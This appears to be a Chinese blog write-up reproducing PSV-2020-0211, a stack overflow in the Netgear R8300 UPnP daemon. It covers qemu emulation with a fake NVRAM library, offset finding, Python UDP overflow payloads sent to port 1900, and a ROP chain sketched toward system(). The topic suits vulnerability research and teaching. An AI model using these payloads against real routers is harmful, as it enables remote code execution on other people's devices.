PSV-2020-0211-Netgear-R8300-UPnP栈溢出漏洞分析
系统级模拟启动
这个路由器的使用的upnpd
来开放服务,执行/usr/sbin/upnpd
后没有反应,使用ida
看一下发现没有/var/run
这个目录,那就创建一个mkdir -p /tmp/var/run
(为什么是 tmp
下的是因为 /var/run
是软连接到 /tmp/var/run
)
在执行上面的命令就会出现下面报错,
NVRAM
是用于存储路由器的配置信息的,而程序在运行时需要读取配置信息,但由于我们是qemu
仿真模拟的,缺少对应的外设因此会产生报错,常见的方法是LD_PRELOAD
(LD_PRELOAD
是 Linux
系统的一个环境变量,它允许运行程序时优先强制加载指定的动态链接库)去劫持与NVRAM
读写相关的的函数,可以使用 Firmadyne
框架提供的 libnvram
命令是LD_PRELOAD=./firmadyne/libnvram.so.armel ./usr/sbin/upnpd
我这里是直接从网上找的模仿的NVRAM
的库 raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c
执行armv5l-gcc -Wall -fPIC -shared nvram.c -o nvram.so
命令(这里需要注意的是arm-linux-gcc
是低版本的交叉编译环境,使用apt-get
默认安装的是最新版本的,指定版本的安装的方法参考然后用uclibc编译这个库,工具可以直接在uclibc官网下到:cross-compiler-armv5l.tar.bz2 这个编译器好像依赖一些东西
Ubuntu 18.04安装arm-linux-gcc交叉编译器(超简单,附安装包下载地址)_arm-linux-gcc-5.4.0.tar.gz 官网下载-CSDN博客)
高版本ubuntu安装32位运行库 - 苦衷乐 - 博客园 (cnblogs.com)
在执行LD_PRELOAD=/nvram.so ./usr/sbin/upnpd
出现下面报错,找不到dlsym
这个符号
使用为这个库中同时hook
了system
,fopen
,open
这三个函数
下面就是找一下那个动态库中有这个函数并将这个库使用LD_PRELOAD
链接一下,还有一个方法就是修改一下上面的nvram.c
文件让其不使用dlsym
发现无法打开/tmp/nvram.ini
那是因为没有这个文件,创建一个就行了
然后再执行上面的命令就行了,但是发现下面有许多日志是空的,这就导致我们的服务还是无法成功启动
下面就需要我们去补全日志信息了,我是在网上找的一个配置信息将它写入/tmp/nvram.ini
中
upnpd_debug_level=9
lan_ipaddr=192.168.195.153
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF
LD_PRELOAD="/nvram.so /lib/libdl.so.0 " /usr/sbin/upnpd
然后就可以将这个服务开启
漏洞分析
漏洞比较简单就是栈溢出
在 main
中调用 sub_1D020
在 sub_1D020
中调用
造成溢出
寻找偏移 (第一次调试有关 arm
架构的,不知道怎么找返回地址,调试才发现它是通过 pop
来完成的,列如 POP {R4-R11,PC}
),偏移是 0x630
但是调试发现它在 sub_B60C
函数中报错了
import socket
import struct
from tools import* #这个是zikh26写的,用pwn也一样
#p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("start!!!!!!!!!!!!")
payload =b'a'*0x630+b'cccc'
#print(payload)
s.connect(('192.168.195.153', 1900))
s.send(payload)
s.close()
找到报错原因
正常情况下是
计算一下发现是在 0x604
这个位置
此时可以控制返回地址,至于末位由1变为了0,原因总之来说为:
原因总之来说为:
1.首先溢出覆盖了非叶函数的返回地址。一旦这个函数执行它的结束语来恢复保存的值,保存的LR就被弹出到PC中返回给调用者。
2.其次关于最低有效位的一个注意事项:BX指令将加载到PC的地址的LSB复制到CPSR寄存器的T状态位,CPSR寄存器在ARM和Thumb模式之间切换:ARM(LSB=0)/Thumb(LSB=1)。
我们可以看到R8300是运行在THUMB状态:
当处理器处于ARM状态时,每条ARM指令为4个字节,所以PC寄存器的值为当前指令地址 + 8字节
当处理器处于Thumb状态时,每条Thumb指令为2字节,所以PC寄存器的值为当前指令地址 + 4字节
因此保存的LR(用0x43434343覆盖)被弹出到PC中,然后弹出地址的LSB被写入CPSR寄存器T位(位5),最后PC本身的LSB被设置为0,从而产生0x43434342但是这条指令其实不是bx指令,但是因为精简指令集地址四字节对齐的缘故,地址要被4能够整除那么末两个字节必须都为0,所以会变为0x42
#!/usr/bin/python3
import socket
import struct
from tools import*
#p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("start!!!!!!!!!!!!")
payload =b'a'*0x604+p32(0x7ee0fc64)+b'a'*0x28+b'cccc'
#print(payload)
s.connect(('192.168.195.153', 1900))
s.send(payload)
s.close()
漏洞利用
整个漏洞利用布局
首先调整当前栈为第一次输入的地址上
.text:00013334 02 DB 8D E2 ADD SP, SP, #0x800
.text:00013338 70 80 BD E8 POP {R4-R6,PC}
在跳到 0xb764
将 ls
拷贝到 0x970a0
.text:0000B764 04 00 A0 E1 MOV R0, R4 ; dest
.text:0000B768 0D 10 A0 E1 MOV R1, SP ; src
.text:0000B76C DE FE FF EB BL strcpy
.text:0000B770 01 DB 8D E2 ADD SP, SP, #0x400
.text:0000B774 70 80 BD E8 POP {R4-R6,PC}
然后直接跳到 system
上执行参数
攻击效果
参考
Netgear Nighthawk R8300 upnpd PreAuth RCE 分析与复现 (seebug.org)
PSV-2020-0211:Netgear R8300 UPnP 栈溢出漏洞分析 | cq674350529's blog
Netgear-R8300-UPnP RCE漏洞分析复现 | CN-SEC 中文网
Netgear PSV-2020-0432 / CVE-2021-27239 漏洞复现 | Clang裁缝店 (xuanxuanblingbling.github.io)
标签:R8300,PC,0211,nvram,Netgear,upnp,漏洞 From: https://www.cnblogs.com/trunk/p/17790433.html